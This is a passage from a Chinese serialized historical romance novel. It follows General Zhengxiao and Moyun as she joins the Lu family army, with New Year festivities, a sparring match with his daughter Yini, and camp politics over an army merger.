若辰则带有一丝不可思议的神情望向正啸，正啸压根懒得理他随元帅走入屋内，执礼则笑了和若辰相视一眼，如今的正啸确实变温和了。
一个时辰后，巡抚府门前又是一片忙碌，众人随元帅整装待发。马匹嘶鸣，人人的神情都透着肃然和干练，畅夏带着孩子一脸笑意的送着沧海。
茉云却拖着步子，一脸不情愿地走了出来，目光落在自己的马匹上，眼中闪过一丝跃跃欲试。
然而，还没等她跨上马，正啸冷峻的声音毫不留情地打断了她的动作：“上马车。”
茉云怔了一瞬回头看向他，眉头微挑，语气里都是不满：“我骑马没问题，伤不碍事。”
正啸压根不理会她的抗议，目光一如既往的冰冷，手指了指千山已经备好的马车，语气丝毫不容置喙：“上去。”
茉云不服气地嘟囔着，迈着不情愿的步伐爬上了马车，上车之时鞋还掉落了下来，万莫俯身捡了给她，她没好气的套上这一贯穿不惯的绣花鞋，她看着鞋叹了口气，这是季岚见她坐在软垫上满脸不爽放下车帘。
苍野风大，吹得旌旗猎猎作响。正啸目光扫了一圈，看向沧海和威行，沉声命令：“父帅，沧海和威行随您速回营，不必耽搁。”
“也好，茉云有伤在身，慢些走也好！”元帅点头说道。
正啸转身看向沧海，沧海心领神会的点了点头，与威行一道翻身上马，马蹄声响起，队伍很快消失在远处的尘烟中。
正啸目送他们离开，这才牵过马绳翻身上马。千山和万莫牵着马车的缰绳，跃上车夫座位，与正啸一同护送茉云回营。车轮滚动，吱呀作响，初春的风冷冽却清爽，吹得马车帘幕微微晃动，茉云从车窗伸出头，跟畅夏和孩子们，还有季岚道别。
马车行驶在南恒宽阔的官道上，正啸始终一脸沉稳，目光直视前方，全然无视了车内那双愤愤不平的眼睛。
一路南行，东风裹挟着初春的寒意不断侵袭而来，就在这一瞬，正啸听见了车内传来一阵低咳声，细弱中透着一丝倦意，他目光不时掠过马车。
路过南恒集市时，正啸勒住缰绳，低声对千山和万莫说道：“去买些热的吃食来。”
千山应了一声立即和万莫下马，两人迅速往集市中走去。
正啸下马抬手便掀起了车帘的一角，茉云蜷缩着靠在车厢一侧，显然没想到他会突然撩开帘子，怔了一瞬望向他。
他没有多言，伸手解下自己的披风，动作利落地丢到了茉云头上。披风的厚重压得茉云一愣，愤愤地将它从头上扯下来，瞪了过去，可他已经放下了车帘。
寒意又一次袭来，茉云低头看向手中的披风，瘪瘪嘴巴将披风披在肩上包裹住自己，顿时熟悉而沉稳的气息卷席全身，他的温暖也顺着披风传来瞬间驱散了寒意，连带着让心都暖了一些。
车外冷风依旧在呼啸，茉云透过风吹开的车帘空隙看向外面，正啸就站在马车旁，目光沉稳如常。一时之间，茉云靠在车厢，不由得放松了身体，安稳和暖意将她包围，她缓缓陷入了浅浅的睡意之中。
可没多久，一阵细微的动静却让她被惊醒。视线渐渐清晰，她发现正啸不知何时上的马车，正蹲在她身前。他拿着一只崭新的男鞋给自己换上了，神
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色一如既往的冷峻，却透着几分难以掩饰的温柔。
他正伸手握住她另一只脚腕，将那双穿不惯的绣花鞋取下。茉云愣了半刻，亦没有挣扎，只是静静看着他拿起新鞋，给她另一只脚套上。
茉云穿上新鞋，踏了踏脚，柔软又合脚，脚下瞬间的舒适让她爽朗的笑了:“还是布鞋好！”
她抬目望向正啸怔住了几分。那双冷峻的眉眼此刻离她如此之近，与她四目相对。
那一瞬，时间仿佛静止了，两人对视着，彼此目光中像是藏着千言万语，却谁也没有率先开口。
片刻后，正啸忽然开口说话了，声音低沉却带着一丝难得的温柔：“方茉云，等等我，可否？”
他的话如同一颗石子投入一湾湖水，也瞬间掷进她的心里，荡开了一圈圈涟漪。茉云微微一怔目光复杂，像是在思索，又像是在疑惑。
良久之后，她终于缓缓开口，声音轻得像是春风拂过：“好。”
简单的一字，却仿佛承载了千斤的重量。正啸闻言也微微怔了半刻望向她，眼神如此炙热。
茉云嘴角不自觉地扬起了一抹俏丽的笑颜，看向正啸指着车窗外的饼摊，声音轻快地说：“那你别去太远，回来时给我带一个那饼，我已经闻到了香味，哦，对了给万莫也带一个，他也喜欢吃饼。”
正啸看向茉云无语的轻轻被逗笑了，眉头微挑，目光中隐隐带着一丝爱护。他转身跳下马车，背影挺拔而利落，往那饼摊走去。
而车中的茉云看向他的身影，手中轻轻攥着披风将自己裹得更紧，靠着车厢，低头看向那双舒适的新鞋，她什么也不想揣度，可是心中莫名的生出一丝喜悦和期待。
此时，车外集市的喧闹声依然渐渐传来，不知不觉间，她听见了传来的摊主热情的声音：“这位爷，您是要买饼吧？喜欢什么口味？饼皮是脆一点的好，还是软一点的好？还有馅儿，您想要什么样的？”
随即，传来正啸略低沉却温和的声音：“一个肉馅的，肉越多越好。另一个……老板，你觉得怎么做最好吃，就怎么做吧。”
车厢里的茉云顷刻间唇角微微扬起，她心里知晓，那肉馅多的，是给万莫买的，他就喜欢吃肉，而自己就是喜欢吃好吃的……
不一会儿，千山和万莫都回来了，手里捧着从集市上带回的各种食物。万莫兴冲冲地跑到马车旁，将几包零嘴递到车厢里。
茉云探出身子，眼中都是雀跃地笑着说道：“万莫就是够意思。”
就在这时，正啸迈步走来，手里拿着两只刚出炉的饼，热气蒸腾，香味四溢，他径直走到马车旁，将一只递给了万莫。
万莫接过饼看见满满的肉馅眼睛都亮了，连连点头笑得像个孩子：“谢谢少主！”
正啸将另一只饼递给茉云，茉云毫不客气地接过，低头咬了一口，面皮软韧，馅料鲜美，她顿时畅然的笑了：“好吃！”
她笑得眼眸弯弯，像一抹春日的暖阳，让车旁的正啸不由自主地停住了脚步，目光落在她的脸上。那一瞬间，似乎他所有冷硬的棱角都在在这一刻柔和了，流淌出一股难以言喻的温情。
千山站在一旁，本来正忙着将手里的东西收拾好，却在无意间瞧到少主眼神，不由得愣住了。心里暗暗思量，刚才是不是发生了什么？为什么周遭好似有一股悸动在荡漾？
203.入军
一路上，马车缓缓行驶在蜿蜒的道路上，周围的风景从暮的荒凉逐渐过渡到连绵的山林，寒风偶尔掀起车帘的一角，带进几分清冷的空气，却似乎没有影响车内的温度。
茉云倚靠在车厢内，欣赏着在窗外的风景上，仿佛这一路的寒风、颠簸，都在此刻变得不值一提。而正啸目光始终平静地注视前方，两人之间没有言语，但心中的某个角落却被暖意和期待填满。
马车一路行至南关，远远便能看到南关城门前的壮观场面。寒风中，卢元帅带领着一众将军、参将，还有军中小马、王强等人，人人都穿着整齐的盔甲戎装，列队而立气势如虹。众人的盔甲在阳光下闪耀，整齐的军姿如同一道钢铁长城，威风无比。
正啸驾马走在队伍最前方，远远看见这一幕，眼中闪过一丝无语，却并未多言，行至营门前他翻身下马，待马车停稳后，也没有再说什么，只是静静站在一旁。
马车内的茉云拨开车帘，正要舒展筋骨，抬目就瞧见了那整齐的军列，不由得愣了一瞬。她随即跳下马车，双脚稳稳落地，抬头看向南关前那一众人等。
就在这时，元帅大步上前声音嘹亮的说：“欢迎方茉云入我卢家军！”
话音未落，众人齐声喊道：“欢迎方茉云入卢家军！”
声音如雷贯耳，震得整个南关似乎都在回响。随后，所有人整齐划一地抱拳向茉云行礼，动作干脆利落，气势十足。
茉云一愣随即露出一抹飒爽的笑容，毫不怯场地抱拳回礼。
礼毕之后，茉云俏皮的抬目望去声音清亮地说：“多谢元帅诸位厚爱！我日后好好混，绝不捣乱！”
她话音刚落，元帅已大笑出声，大手一挥道：“你这丫头啊，这话别说太满！你那所谓的‘好好混’，标准和旁人可大相径庭！”
众人瞬间哄堂大笑，笑声顷刻冲淡了寒风的凉意。
笑声中，卢元帅取出一枚崭新的卢家军军牌，亲手递到茉云面前，郑重地说道：“今日起，你就是卢家军中人了！”
茉云恭敬的接过军牌，细细打量了一番，眼中闪过几分喜悦。当她翻到军牌的背面，看到上面仅刻着一个“六”字时，不由得目光微微一顿，她记得她看见过的军牌都是好几个数字，将军军牌都是两个数字，只有卢正啸的军牌后面只有一个字。
旁边的正啸余光瞥见，也是一怔，眼中闪过一抹异样。他又怎会不知，这军牌的编号，他爷爷是一，父帅是二，叔叔是三，他亲娘是四，而自己军牌是五，今日元帅竟将这六字牌直接给了茉云。执礼看着军牌亦乐了，元帅这分明是更期盼的她成为卢家人才好。
茉云显然也似乎意识到了这枚军牌的意义，目光从牌子上移开，抬头看向元帅，脸上渐渐浮现一抹疑虑？可是看向元帅一脸的欣慰和骄傲，此刻也不好多说什么。
最近的边关大营和南关大营正在紧锣密鼓地合并，军中事务繁忙，士兵和将领们都忙得脚不沾地，茉云自知自己受伤，帮不了忙也不便添乱，难得地乖乖留在营帐中养伤。
五日后，元帅和诸将营帐中议事结束之时，元帅突然问起了白神医：“白神医，茉云的伤势如何了？”
正啸看着案上的地图和文书，听到这话才猛地一怔意识到，自茉云入营以来，竟然整整五日，他都没有见过她。
白神医语气温和地说道：“启禀元帅，茉云的伤势倒是无碍，但她这些年几乎没停过伤，积累下来身体定然耗损不小，实在该好好休整一段时间。”
元帅点了点头，眉头却微微皱起，眼神中都透出对这丫头的关切。
晚上，军营里已是一片静谧，正啸走过营地，寒风吹动篝火摇曳，当他经过茉云的营帐，发现里面还透着微光。脚步不由自主地停下，他凝视了片刻，最终掀开帘子轻轻走了进去。
营帐内，烛光微弱但柔和，案桌上堆着一摞兵书。茉云趴在案上，手边还握着一支笔，眉头微蹙不解却已然熟睡。正啸抬目望向她嘴角透出一丝笑意，这时她的这份安静与乖巧属实难得，与平日里她桀骜不驯、锋芒毕露的模样差别甚大。
正啸目光渐渐落在桌上的兵书。他的嘴角竟然忍不住笑意更浓。
兵书上，满是她字迹潦草的自行批注，可内容却不由得让人发笑。都是些此人想啥，这招甚傻一类的不加修饰的评价。偶也有几句精辟之言，但大多都是她的胡思乱想，更甚还有几处纯属“鸡同鸭讲”的荒诞之语。
他伏低头，拿起笔在旁边写下了正确的注解。写完后，他望了她一眼，才发现与她靠得这般近……
正啸目光微微一滞，眼中藏着一抹难以言喻的情绪，像是深海般深沉，又像烈焰般热烈，明明触手可及，他的手轻轻抬起，似乎想将她散乱的发丝拨到耳后，但指尖在距离她不过一寸间，却猛地顿住了。
他最终将笔轻轻放下，转身离开了营帐，可此时眼神早已凌乱，藏着无法浇灭的渴望和浓得化不开的克制，只能任由冰冷的夜风吹散他无处宣泄的心火。
半夜，茉云迷迷糊糊醒来，伸了个懒腰，抬手揉了揉眼睛，准备爬到床上继续睡觉。她伸头去吹灭蜡烛，目光却无意间扫到了兵书，愣了半刻，再低头仔细一看，发现那些批注旁竟多了几行工整的注解。注解精准到位，笔锋如此刚劲有力，一看便知是谁……
她随即轻轻笑出了声，原来文中之意跟自己所想简直是南辕北辙，她收拾了书本蜷缩到床上，捂着被子闭上了眼，心中亦多了一分安宁与温暖。
这日若辰带着一份详尽的文书来了军营，径直来到元帅和大将军营帐，将南境军饷安排妥当的结果汇报给元帅，元帅看着甚为满意的点点头。
若辰言辞中带着几分感慨说：“果不其然，被茉云这么一治，南境在籍纳粮的土地差不多直接翻了一倍。宋大人来信，说御史台余大人回京之后，朝中许多官员的亲眷都主动来上报田产，生怕再被查出挂靠到达官贵人名下之事。如此一来，各州府的军需任务基本都能完成了。”
元帅听罢赞许地说道：“御史台余大人一向公正严明，确实能威慑那些贪图小利的官员和其家眷。”
执礼大人站在一旁闻言便笑着接话：“您还不如说，方茉云更可怕些。毕竟，余大人都是她威慑来的吧。”
元帅一听忍不住笑出声，语气中透着几分偏袒：“你们总这么说道她，那丫头只是刚直了几分，其余挺讨人喜欢的，性子活泼又开朗。”
执礼大人笑着拱手道：“那您不妨问问您身边的东山大人，昔日他见到茉云是什么感觉。”
东山被点了名，望向执礼大人，微微一笑，拱手说道：“执礼大人之见，卑职不敢苟同。卑职第一日见到方大人时，她便是这样形容自己的——我方茉云最好相处了，总让人如沐春风。卑职怎敢枉改方大人的自评，深以为然，如沐春风！”
话音刚落，元帅和众人皆哄堂大笑，笑声在营帐中回荡。
议事结束后，若辰向元帅拱手笑道：“年节将至，若辰想择日邀请元帅、大将军以及诸位将军，去巡抚府一聚。”
正啸正看着案上的军粮上报文书，闻言便抬起头，语气果断地说：“军中最近事务繁忙，再加上叨扰巡抚府多时，过年时，不如你夫妇带上南卓城的将士家眷，来军营过年。”
元帅闻言眼中带着喜悦，拍案说道：“如此甚好！军营热闹一番，士气也更旺。”
“既如此，那若辰就恭敬不如从命。到时携家眷前来，也为军营添些年味。”
帐中气氛轻松而和谐，执礼站
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在一旁，目光略带深意地看了正啸一眼，嘴角含着一抹意味深长的笑意。他的这一番安排，哪里是为了军中忙碌？分明是怕茉云舟车劳顿，再加上她那喜欢热闹的性子，这样一来，既让她留在军营养伤，又能热闹如常！
三日后，正是年节之时，军营里难得的喜庆气氛洋溢在每一个角落。若辰带着南卓城的将士家眷来到军营，与此同时，还有许多从远方赶来探望入军亲人的军属也获批而来。
将士们获得准许，都来到了营门迎接家人，脸上满是抑制不住的喜悦。
邹总教头和沧海将军站在营门前，目光在人群中寻找着熟悉的身影。就在这时，他们的孩子欢呼着从人群中冲出来，满脸骄傲地喊着：“爹爹！”
稚嫩的声音中透着兴奋与喜悦。看到孩子奔跑过来，邹总教头和沧海将军一向严肃的脸上也露出了难得的笑容，弯下身子一把将孩儿抱起，眼中满是温情。这一幕，让四周的将士们心里都涌上一阵暖意，仿佛所有的辛劳和艰苦在这一刻都得到了慰藉。
营帐内，元帅和大将军正在商议军务。尽管外面的热闹声此起彼伏，元帅的目光不时地被帐外的动静吸引，但正啸依旧面色严肃，语气沉稳地讨论着部署细节。
站在一旁的东山和执礼对视了一眼，目光中带着一丝无奈和隐隐的笑意，正啸素来不是爱热闹之人，何时都是如此一丝不苟。
然而，就在这时，营帐的门突然被推开，一个清丽的声音响起：“属下参见元帅，参见大将军！愿元帅爷爷、大将军父亲万安！”
帐中众人纷纷抬起头，元帅一听这声音愣了一瞬，随即眼中喜色涌现，猛地起身满脸笑容地说道：“咱家的大宝贝孙女，这是什么时候来的？”
这位轻盈走来的女孩正是正啸的女儿依妮，她抬起头，面带笑意地随即站起身，露出了开怀的笑容，一身干练的装束，却掩不住眉宇间的灵动与英姿。
正啸此刻也抬头望向她，原本严肃的脸上终于透出了一抹温和的笑意。他心中不禁感慨：这一年多的光景，这丫头竟然已经长成了大姑娘。
“昨日到的，若辰说今日来肯定能给爷爷和爹一个惊喜！”依妮轻快地跑到元帅身边，撒娇地说道：“爷爷，今日过年，您可要好好歇一歇！”
元帅大笑着满眼宠溺：“好，好！咱们家依妮说了算！还是本帅的大孙女孝顺，就你爹，终日拉着你一把年纪的爷爷，军务军务，没完没了！”
一句话让帐中众人都忍俊不禁，浓浓的年味也瞬间弥漫在这严肃的军营中，让人心头一片温暖。
元帅拉着依妮从营帐里走了出来，正啸亦终于放下了手中的公文，跟随在后，脸上带着少见的松弛。
依妮刚一迈出营帐，便瞥见了她再熟悉不过的背影。茉云正站在远处的营帐外和沧海将军的夫人畅夏等人交谈着，背影依旧挺拔而飒爽。
依妮瞬间像变了一个人，原本英气十足的模样一下子化作了一个兴奋小姑娘，她尖叫了一声：“茉云姨！”
随后撒开脚丫子，狂奔而去，到了近前，她猛地跳起来，一把抱住了茉云脖子，整个人直接趴在她背上，像个重物似的挂在了茉云身上。
茉云被她这一扑弄愣了一瞬，随即忍不住笑出了声，打趣道：“琼华何时这般养人了？竟长这么大了！我这腰都快被你折了！”
依妮趴在她背上撒娇地晃着：“茉云姨，好久不见您，您也不来看琼华看我一眼！”
元帅远远地看着这一幕，忍不住指着她们看向正啸笑着骂道：“看咱家，就你一个不识货的！”
站在一旁的执礼和东山瞬间忍俊不禁，正啸一脸的无语亦没有说什么，眼中却透着一丝温柔，目光落在依妮和茉云身上，被这一刻的轻松和温馨所浸染。
204.分心
军营里，周围的众人看到这一幕，先是微微一愣，随即都忍不住笑了。营中寒风似乎在这一刻，也变得温暖了几分。
茉云温和的笑了，看向眼前已经和自己一般高的依妮，问道：“习武习得怎么样了？”
依妮瞬间挺起胸膛，眼睛透亮地看向她，语气里满是自信：“茉云姨，我现在可是琼华孙辈中的翘楚！谁见了我不夸一句厉害！”
茉云不禁乐了，她抬手指着习武坪揶揄道：“大话都是说出来的？来，你现在就比划比划试试。”
依妮一听，立刻后退几步，摆出武林中承让手势，认真说道：“茉云姨，我可不是当年那个小丫头了！”
茉云伸出左手抽出了旁边威行的佩剑，笑着说：“行啊，让我瞧瞧，如今的琼华翘楚到底有几分真本事！”
周围的人闻声纷纷停下了手头的事情，转头看向她两，顿时兴致盎然。
连元帅都笑着给依妮鼓劲说道：“孙女啊，尽管亮出你的本事来，让你茉云姨好好瞧瞧！”
依妮咬了咬牙，认真地比划了一个开场动作，而茉云则一脸轻松，嘴角含笑的看向依妮。
两人走到了前方的习武坪，气氛瞬间热闹起来，众人都围观着这场有趣的较量。
依妮瞬间就拔剑了，她的琼华剑法果然已经练得如行云流水，两人银芒璀闪的过了三十招，让人看得目不暇接。
“好。”元帅看得激动地鼓掌说道。
众人皆聚精会神的看着，五十招之后，茉云却突然停住了剑，抬头看向依妮。正啸顿时上前一步，正要阻拦可是已经来不及了。
茉云抬剑让依妮走了华丽的三招，她随之抓到她的破绽，抬腿就是一脚，踹得依妮飞出一丈落地，邹总教头都一下捂住了头，元帅等人顷刻都愣住了。
“卢依妮，知道为什么挨踢吗？”
“知道！”依妮坐在地上仰视着茉云，模范茉云当年之语气说道，“没法打我爹，只得打他女儿出口气。”
“扑哧”，众人顿时晃过神来，再也忍不住的瞬间哄堂大笑，元帅都笑得前俯后仰。
“方茉云，就比剑，你为何用脚。”邹总教头忿然指着茉云骂道，依妮可是她大师姐的亲孙女。
“卢依妮，我说的是比武，你也见过我昔日在衙门当差，悍匪在前，我手脚都用，有的时候还用头撞，打架赢了就行。”茉云笑笑拉起依妮说道。
依妮毫不生气的拍怕身上的灰，一脸受教的看向茉云。
“咱跟所谓的江湖第一剑叶凌他们不是一个路数的，你别走了弯路，咱是练武，他们练的那是舞蹈，花里胡哨的一顿舞，等下搞得敌人都不好意思了，不晓得是该打他，还是该打赏他。”茉云没好气的说道，正啸嘴角倒是浮现出一丝无语的笑意。
依妮顿时也喜笑颜开，茉云姨居然说天下第一剑的叶凌师叔是练舞的。
茉云转身目光一扫，随即伸手指向了站在不远处的沧海将军夫人畅夏，笑着说道：“我肩上有伤，让你沧海婶子给你示范看看，什么叫真正的实力。”
畅夏愣了一下，神色间浮现出几分尴尬，连忙摆手推辞：“哎呀，妹子，我现在就是个妇道人家了，怎么能在年轻人面前舞刀弄枪的呢？这像什么话！”
茉云却一脸的不在意地说道：“没事，嫂子，练练而已，权当给依妮示范，你就随便活动活动筋骨。”
她说着转头扫了一眼周围看热闹的将士们，目光落到鹿里和威行身上，露出一抹狡黠的笑意，示意让他们上去试试。两人对视一眼，仿佛感受到了什么危险来临，立刻后退几步脸上写满了的拒绝。
茉云见状冷哼一声，转而看向站在一旁看笑话的小马他们，挑眉问道：“小马，去，跟你畅夏嫂子过几招？”
小马一听，神色瞬间僵住，愣了一下说道：“嫂子是女子，再说我怎么好跟嫂子动手呢？”
茉云微微一笑，语气淡然中带着几分调侃：“切磋而已，又不是生死决斗，你自己心里有数就行，放心。你若赢了，随便求个啥，让元帅赏你。”
“行！”元帅顿时捧场的笑了说道。
小马一听顿时眼睛亮了亮，心思转了几转，笑着说：“那行，那我就冒昧的跟嫂子练练！”
茉云忍着心中笑意点点头，转而望向畅夏，语气里满是鼓励：“嫂子，你随便去挑个趁手的兵器，让大伙见识见识。”
畅夏张望了一下兵器，又看了看沧海，带着几分犹豫，又带着几分跃跃欲试。
沧海站在一旁，目光温和地看着她，眼神里满是支持：“去吧，练练就练练，咱本也是一身武艺。”
畅夏顿时备受鼓舞，开心的点点头走向兵器架，扫了一圈，略微停顿了一下，最终中意的武器是一对铁锤。她一手提起一把，轻轻挥了两下，沉重的铁锤在她手中仿佛没有任何分量一般。
周围顿时安静了下来。小马见状，脸色微微一变，硬着头皮说道：“嫂子，咱们真的只是切磋，别太认真啊！”
畅夏抿嘴憨笑着点点头，单手将铁锤掂了掂，说道：“放心！”
话音未落，畅夏双手握着铁锤，沉稳地迈步向前，那气势如山的姿态让周围的人不由自主屏息凝神。她轻轻一挥锤，铁锤带出的劲风掀起地上的沙土，呼啸声让小马手中的剑都不由得一颤。
小马咬了咬牙，硬着头皮举剑迎上。他的动作显得谨慎而略带生硬，试图防守，却在畅夏第一锤落下时，感觉手臂麻了一半。
第二锤、第三锤……畅夏每一击看似轻描淡写，却巧妙地封住了小马所有退路。他连连后退，汗水从额头滴下。
第十锤终于落下，畅夏双锤齐挥，直逼小马胸前。他只能试图用剑格挡，但力道却让剑瞬间脱手，铁锤在离他仅一寸之处停住，锤风震得他脚下一个踉跄，直接弃剑倒地。
小马惊恐地看着畅夏，整个人愣住了，随即一屁股坐在地上，仓皇地用手撑着地面，双手双脚一齐滑动狼狈地往后退了好几步。他的脸上满是不可思议的惊诧。
畅夏看着他这副模样，显然有些意外，不解道：“你这小子，都不及我夫君一成的抗揍，你咋还敢上战场呢？”
她这一句话如同点燃了当场，顿时引得围观众人哄堂大笑。鹿里和威行笑得直不起腰，雄山甚至笑出了眼泪。
“小马，你就是二，你看鹿里将军和威行将军都躲得比谁都快！茉云都说嫂子厉害，那嫂子是如何天大的能耐，你上去试试！”雄山他们笑得不行说道。
元帅在一旁笑得眼角的皱纹都堆成了山，抹着眼泪说道：“畅夏啊，难怪这群小子总说你连沧海都能打得服气，这身手，了不得！”
沧海站在不远处望向畅夏，脸上浮现出一抹骄傲的笑容，眼中都是赞赏。畅夏亦是一脸憨笑的走去放下铁锤，心中却瞬间如波涛汹涌，她不禁看向自己的双手，深深吸了口气，自己都快忘了拿起兵器的感觉了……
此生传来茉云欢快的声音，她笑意畅然地对元帅说道：“元帅，您看，从此以后在南恒的军属都安稳了。日后众将士们在外奋战，家小再不用担心了，有畅夏嫂子在南恒，谁敢欺负？”
元帅听了这话眼中满是欣慰，摸着胡子笑道：“好啊！畅夏啊，这南恒城里的女眷，以后可就有劳你关照了。”
沧海站在一旁，立刻抱拳行礼，笑着说道：“有我夫人在，请元帅放心。”
畅夏闻言，抬头开心的说道：“元帅，这没问题！您说，要怎么保护？”
茉云挑了挑眉接过话头说：“就拿季岚给你举个例子吧！假如有哪个漂亮姑娘在街上对关若晨眉开眼笑，你立马冲上去，帮她将人家揍一顿。”
话音刚落，畅夏一脸笃定地应道：“好！”
这简单干脆的回答话音刚落，众人哄堂大笑。威行笑得不行接话道：“嫂子，好什么啊？你听茉云胡说！那半个城的姑娘，你都得挨个揍一遍！”
畅夏若有所思地皱眉，认真看向季岚安慰道：“我这几日观察了一下，别说半城，这地就是一个城的姑娘，应该也没啥问题啊。放心啊！”
“现在知道要讨好谁了吧？”茉云转身就望向季岚说道，季岚心领神会的点点头，若辰无语的望向她们笑了。
众人笑得更加停不下来，连元帅都拍着腿大笑，沧海站在一旁无奈地摇头，但目光里满是宠溺和骄傲，茉云则站在一旁比划着哑语，告诉邹总教头的夫人亚亚她们在聊些什么，亚亚也笑得前俯后仰。
执礼亦笑着看向茉云，这便是她的能耐，她就那个会让她身边每个良善之人都如沐春风，让每个恶人都求死不能的方茉云。
这满场的欢声笑语将军营的氛围渲染得更加温馨，所有人都感到一种难得的轻松，仿佛这冰冷的军营也，突然间也暖了起来。
接下来，将士们带着家眷，按照安排参观了指定的区域。随后，各自自由活动起来，欢声笑语在营地中回荡着，年味渐浓。
依妮挽着元帅的胳膊，开心地和他并肩而行，一边环顾四周，一边忽然问道：“爷爷，我还以为卢家军六号的军牌您会留给我呢！结果您奖赏给了茉云姨，您是何意呀？是不是……您不止想让茉云姨成为卢家军中人，还要她成为卢家的人才好？”
元帅一听这话，微微一愣，随即笑着说道：“还是咱家大孙女懂事！你爷爷我确实是这么想的。不过你爹啊，他不争气！”
依妮闻言，立刻站定脚步，转头笔直地看向正啸，眼神里带着几分质疑和疑惑：“爹，父女连心，我这般喜欢茉云姨，你怎可能不喜欢？”
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>正啸瞬间移开了目光，淡然温和的说道：“军牌是责任，不是奖赏！”
他的语气一如既往地平静，但眼神里却藏着一丝复杂的情绪。而一同随行的若辰夫妇对视一眼，嘴角皆荡起一丝意味深长的微笑。
依妮撇了撇嘴，轻轻摇着元帅的胳膊：“您听，听我爹这话总，总绕得我头都晕了！可我知道我爹，嘴上说得云里雾里，心里可不一定是这么想的！”
正啸看着女儿与元帅笑闹的模样，眼中掠过一抹无奈的温柔。他最终没有再说什么，抬目望向营帐。
“依妮，你陪你爷爷话一下家常，若辰来得正好，有些部署细节我等再商议一下！”
元帅正要打断正啸，说依妮都来了，今日过年，就不谈军务又如何，可是依妮拉住了元帅的胳膊：“好，爹爹，那你去吧，等会儿用膳之时依妮再陪您聊天！”
“嗯！”正啸转身就往营帐走，若辰和执礼等人亦转身跟随而去。
“你爹啊……”
“爷爷，太奶奶说了，我爹自小便是为了卢家军而生，为保家卫国而活，只有军务，再无其他，亦没有自己，身为爹爹的女儿自当体谅！”依妮懂事的笑了说道。
元帅伸手拍拍依妮的手笑了，看着身边的东山说道：“我家依妮自小就是懂事！”
依妮一脸甜美的笑容看向正啸的背影，她亦不是从小就如此懂事，也曾埋怨过，亦胡闹过，直到后来有人让她明白身为卢正啸的女儿是见多么值得骄傲自豪的事……
众人随着正啸到了营帐中，谈着南境的部署，还有一些南境地方官员的调配，任帐外不断地传来欢笑声，正啸的神色依旧一丝不苟，丝毫不受影响，好像这些喧哗都传不入他的耳中。
然后，忽然一道箭声划破长空，带着破风的锐响直冲靶心，营帐内，正啸说话的声音瞬间停顿了一瞬，顿时微微一皱，众人都抬目看向正啸，他怎么说话说到一半之时忽然停了。
接着，又一道箭声响起，这一次更加清晰锐利，正啸蓦然抬头，目光中透出几分深沉。他亦是百步穿杨的箭手，自然听得出，这等凌冽而精准能正中靶心的箭声他再熟悉不过了，在这营中——只有一个人！
他顷刻站起身来，往营帐门口走去。若辰见状，微微一愣，忍不住问道：“出什么事？”
正啸头也不回，声音低沉而带着忿然：“没事，稍等我片刻。”
他推开营帐的帘子，寒风扑面而来，他的目光直直望向远处的练箭场。瞬间就被一道身影牢牢牵住了——茉云正在寒风凛冽中，站在空旷的骑射场里，手中握着峑戎改良之箭，专注地研究着。
她一遍遍地拉弓试射，动作行云流水，显然在用心揣摩峑戎新箭的特点，仿佛全然忘记了周围的天寒地冻。
正啸瞬间双眉皱紧，目光中掠过不悦。茉云肩上的伤还未痊愈，这样反复拉弓射箭，可能加重旧伤。他的拳头缓缓攥紧，迈步朝骑射场走去，每一步都带着微怒。
寒风呼啸，骑射场上，茉云正一箭接一箭地试着手中的箭。箭箭透着坚定与专注，仿佛寒冷与肩上的伤痛全然被她抛诸脑后，更是完全没有察觉到身后远处那道冷峻的目光正在靠近。
不远处，元帅带着依妮和季岚参观军营，目光也都不约而同地看了过来。
季岚忍不住小声说道：“这么冷的天，茉云肩上还受着伤呢！”
这时，白神医的夫人出来寻茉云也找来了此处，看见正啸马上说道：“正啸，你来得正好，赶快将她抓回去！”
正啸点了一下头，然后抬手指着茉云向万莫说了几句话，万莫立马跑入了练箭场。
待他气喘吁吁地停在茉云身旁，说道：“天寒地冻的，茉云你肩上的伤还没好，快回营帐休息吧！”
茉云显然不在意，语气轻松的说：“没事儿，我心里有数。”
万莫叹了一口气，见劝不动她，只得抬手指了指她的身后小声说：“那你看少主答不答应？”
茉云一愣转头望去，只见射箭场入口，正啸正站在那里，冷峻的眉眼中透着明显的不悦，目光直直地落在她身上。他的身旁站在白夫人，虽没有开口但是眼中亦是数落之意！
正啸随即缓缓抬起手，冷冷地指了指她的营帐方向，神情中不带一丝商量的余地，分明在命令她回去休息，别逼自己动手。
茉云站在原地愣了一瞬，随即不满地撇了撇嘴，心不甘情不愿地将手中的弓箭放下，一脸忿然地拿起一支箭，朝营帐方向走去，嘴里还一路不服气的嘀嘀咕咕。
这一幕被旁观众人尽收眼底，皆忍不住哄堂大笑。正啸则亦忿然的转身回营，若辰和执礼相视一眼，嘴角都露出一丝心领神会的笑意，这世上也只有茉云有此能耐，能让他议军务之时，分心走出营帐……
205.立威
正啸走回营帐，眼神中却透出一抹难掩的忧虑与无奈，他皱眉低头翻看着案上的文书，指尖微微用力，神情没有丝毫的松懈。
若辰看着他这模样，忍不住轻叹一声开口劝道：“现在边关和南关大营顺利合营了，周总教头也回来了，您何苦日日这般操劳、忧心。正是过年时节，人总得有松有驰！”
执礼望向若辰语气中带有几分愁丝的解释道：“少主是思虑着，年节一过，奉圣上旨意，西营的边军亦会赶赴南关合营，到时候军中事务只会更复杂……”
若辰闻言神色微沉，显然也明白了正啸的忧虑。边关大营由元帅统帅，震北将军坐镇多年，与正啸本是一体，自然合营如同兄弟一起过日子。但西营不同，虽然也是卢家军出身，但其统帅乃正啸爷爷卢老元帅当年的旧部，虽与卢家关系紧密，但是终究这些年来往没有那么紧密。
正啸看向文书，渐渐思绪有些抽离，还有一件更让他忧心的事，他的岳丈，也就是亡妻的父亲程老将军，曾是西路军的统帅。程老将军离世后，程家一落千丈子嗣不济，居然猖狂到卷入私盐案与贩卖妇女案，迫使卢家只能选择放弃对程家的庇护，最后都被重判，程家也绝了后嗣。
但是于西营而言，程家后人再不济，那也是老统帅的后人，军中不分缘由的偏袒故人之后是常态，所以西营军中难免有怨气，而这些案件，茉云或多或少参与其中，恐会迁怒于她。
可是想到此，他马上咬牙抽回了思绪，他心中明了，现在摆在眼前最重要的便是西营军与边军此次合营，若处理不慎将士离心，那是军中大忌，他不该思虑其他，更不能有私情和偏袒，这也更会导致她成为众矢之的……
营帐内一片沉寂，若辰与执礼对视一眼，皆从对方的神色中读出了相同的担忧。
到了用膳之时，正啸他们才起身去到了元帅营帐，准备随同元帅一起和将军家眷一同用膳，一走进去就听见了依妮欢快的声音。
